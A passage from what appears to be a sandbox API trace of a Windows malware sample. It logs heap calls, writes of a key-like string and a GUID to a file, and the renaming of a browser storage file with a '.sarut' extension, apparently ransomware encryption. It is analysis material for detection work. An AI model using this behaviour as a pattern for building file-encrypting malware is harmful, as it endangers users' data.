(hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0273.761] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0273.761] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x340) returned 0x712110 [0273.761] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0273.761] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0273.761] WriteFile (in: hFile=0x5c4, lpBuffer=0x712110*, nNumberOfBytesToWrite=0x33f, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x712110*, lpNumberOfBytesWritten=0x387fb24*=0x33f, lpOverlapped=0x0) returned 1 [0273.762] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0273.762] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.762] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0273.762] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0273.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0273.762] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x71eaa8 [0273.762] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0273.762] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1928 | out: hHeap=0x640000) returned 1 [0273.762] WriteFile (in: hFile=0x5c4, lpBuffer=0x71eaa8*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x71eaa8*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0273.762] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x71eaa8 | out: hHeap=0x640000) returned 1 [0273.762] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0273.762] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0273.762] CloseHandle (hObject=0x5c4) returned 1 [0273.764] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xe0) returned 0x3073c20 [0273.764] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8f0) returned 0x311d708 [0273.764] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3073c20 | out: hHeap=0x640000) returned 1 [0273.764] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml.sarut")) returned 1 [0273.765] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0273.765] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0273.766] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3072980 | out: hHeap=0x640000) returned 1 [0273.766] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52878dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x344, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.msn[1].xml", cAlternateFileName="WWWMSN~1.XML")) returned 0 [0273.766] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0273.766] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0273.766] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307fd00 | out: hHeap=0x640000) returned 1 [0273.766] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0273.766] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x31157b0 [0273.766] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0273.766] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.766] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.766] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.766] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.766] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.767] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.767] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.767] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.767] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.767] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.767] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.767] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.767] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.767] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.767] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.767] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.767] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.767] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.767] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.767] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.767] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.767] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0273.767] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.767] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.767] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.767] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.767] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0273.767] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.768] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0273.768] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.768] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.768] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.768] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.768] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.768] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.768] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0273.768] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.768] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.768] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.768] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0273.768] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0273.768] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.768] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.768] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0273.768] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0273.768] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.768] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.768] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.768] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.768] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.768] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.768] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.768] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.768] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.769] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.769] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0273.769] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.769] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.769] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.769] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0273.769] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.769] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.769] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.769] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.769] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.769] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.769] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.769] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.769] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.769] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.769] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.769] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.769] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.769] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.769] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.769] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.769] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.769] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.769] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.770] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.770] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.770] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.770] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.770] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.770] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.770] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.770] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.770] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.770] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.770] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.770] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.770] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.770] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0273.770] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.770] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0273.770] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.770] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.770] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.770] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.770] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.770] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.770] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.770] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0273.770] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.770] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0273.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.771] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.771] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0273.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0273.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.771] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.771] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0273.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0273.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.771] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.771] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.771] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.771] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.771] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.771] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.771] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0273.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0273.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.771] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.771] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0273.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.772] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.772] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0273.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.772] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.772] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.772] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.772] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.772] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.772] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.772] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.772] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.772] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.772] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.772] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.772] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.773] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.773] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.773] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.773] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0273.773] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.773] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0273.773] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.773] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.773] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0273.773] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0273.773] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0273.773] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0273.773] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.774] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.774] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.774] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.774] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.774] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.774] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0273.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0273.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.774] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.774] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0273.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.774] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.774] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0273.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.774] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, 